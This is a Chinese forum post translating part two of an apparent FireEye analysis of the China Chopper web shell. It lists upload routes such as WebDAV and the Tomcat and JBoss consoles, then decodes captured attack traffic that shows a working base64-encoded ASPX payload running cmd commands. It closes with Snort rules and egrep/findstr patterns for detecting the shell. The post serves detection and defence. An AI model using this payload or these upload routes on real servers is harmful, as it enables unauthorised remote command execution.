查看: 10371|回复: 0

技术剖析中国菜刀之系列二

[复制链接]
  • TA的每日心情
    开心
    2019-9-21 13:55
  • 签到天数: 9 天

    [LV.3]偶尔看看II

    发表于 2013-8-28 09:59:08 | 显示全部楼层 |阅读模式
    在第一部分的菜刀系列剖析里面,已经介绍了“中国菜刀”的易用界面以及一些高级特性。——其中最令人注目的,莫过于其作为web shell的大小,aspx版仅有73字节,在硬盘中才4k。而在这部分里,Fireeye详细介绍“中国菜刀”平台适用性、上传机制、通讯模式以及如何侦测,至于中国菜刀一直在争论的一个话题,有没有后门,各位看官儿,您看了就知道了。
    平台: web服务器平台——JSP, ASP, ASPX, PHP, 或 CFM。同时在Windows和Linux适用。在系列一的分析里面已经展示过“中国菜刀”在windows 2003 IIS 中运行ASPX的情况。在这一部分里,讲展示运行在Linux平台下的PHP情况。如下图所示,PHP版本的内容极其精简。

    依赖与不同的平台,“中国菜刀”有不同的可选项。下图显示了在Linux平台下的文件管理特性,(类似于Windows)

    下图显示了在MySQL下其数据库客户端例子,(对Linux目标服务器的数据库管理)

    如下图所示,虚拟终端命令行也长得很像。但是使用Linux命令而不是Windows命令

    上传机制:
    由于它的大小,格式,以及简单的payload,“中国菜刀”的传输机制可以很灵活多样。以下任意一种方法都可以进行传输
    1通过WebDAV文件上传
    2通过JBoss jmx-console 或者Apache的Tomcat管理页面上传
    3远程代码执行下载
    4通过其他方式接入后传输

    通讯分析:
    我们已经看过它在服务器端的payload以及控制web shell的客户端。接下来,我们检查一下“中国菜刀”的通讯网络流量。我们通过抓包软件,分析其服务端和客户端的通讯情况,如下图所示,客户端在80端口上,以HTTP POST方式通讯。

    利用抓包软件Wireshark的“follow the TCP”功能可以看到整个TCP数据交互过程。如下图所示,上面红色部分为攻击者(客户端)POST提交控制命令的内容,下面蓝色部分为被控端返回结果

    从图中可见攻击控制代码经过Base64编码,我们利用Web调试器Fiddler的TextWizard功能可以轻易解码,看看攻击者到底发送了什么。(注意%3D是URL编码,实际上是“=”)Fiddler需要这个转换一下。
    其攻击payload的编码情况如下如下所示
    Password=Response.Write("->|");
    var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

    使用Fiddler的text wizard功能将其base64解码为明文, 如下图所示

    解码后的数据如下所示:
    varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).
    GetString(System.Convert.FromBase64String(Request.Item["z1"])));
    vare=newSystem.Diagnostics.Process();
    varout:System.IO.StreamReader,EI:System.IO.StreamReader;
    c.UseShellExecute=false;
    c.RedirectStandardOutput=true;c.RedirectStandardError=true;
    e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).
    GetString(System.Convert.FromBase64String(Request.Item["z2"]));
    e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();
    Response.Write(out.ReadToEnd()+EI.ReadToEnd());

    上面这段代码的意思是使用base64解码存储在z1、z2这两个参数中的数据。接下来我们来查看z1与z2对应的值。
    注意下面加粗部分参数z1与z2:&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D base64解码参数对应的值,如下所示:
    z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E] 其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行cmd命令,列出当前用户与当前目录,执行结果如下所示:
    ->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-检测: now,我们知道中国菜刀的流量通信的特征,可以利用网络或主机级别的防护软件检测这种恶意通信。 网络: 可以利用Snort编写规则检测中国菜刀的流量,能够轻松的捕获到异常数据,Keith Tyler在他的博客中给出了一个基本的IDS规则:

    alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)为了减少误报,我们将该段规则修改了下,只检测数据包内容中包含FromBase64String以及z1,如下:
    alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
    (msg: "China Chopper with first Command Detected";
    flow:to_server,established; content: "FromBase64String";
    content: "z1"; content:"POST"; nocase;http_method;
    reference:url,http://www.fireeye.com/blog/tech ... s-research/2013/08/
    breaking-down-the-china-chopper-web-shell-part-i.html;
    classtype:web-application-attack; sid: 900000101;)以下规则更进一步优化,以下规则在数据包中查找FromBase64String,并且利用正则表达式匹配z后面任意一到三的数字组合,如Z1、Z10、Z100等。
    alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
    (msg: "China Chopper with all Commands Detected"; flow:to_server,established;
    content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;
    reference:url,http://www.fireeye.com/blog/tech ... s-research/2013/08/
    breaking-down-the-china-chopper-web-shell-part-i.html;
    classtype:web-application-attack; sid: 900000102;)这些IDS特征都可以进一步优化,OK,我们了解了网络层面如何检测中国菜刀数据包,接下来介绍下如何通过主机级别的检测发现该数据包。主机: 在Linux上最快最简单的方法查找中国菜刀,可以利用egrep+正则表达式识别被感染的文件,如下:
    egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php

    egrep+正则表达式是一个强大的组合
    另外,Window提供了一种方法,通过findstr命令加上正则表达式搜索文件。如下图:

    可以看到在Windows上正则表达式与linux略有区别,如下:
    findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正则表达式即可,如下:
    egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx
    findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx如果你要查找一些隐藏的PHP或ASPX文件,可以使用dir命令来,如下图:dir /S /A /B *.php

    Findstr还可以搜索子目录:
    findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

    关于中国菜刀的分析文章已经告一段落,相信中国菜刀的作者看了此系列文章多多少少心里会有一些感触了,多少年了,哥终于清白了!
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-24 04:08 , Processed in 0.024517 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部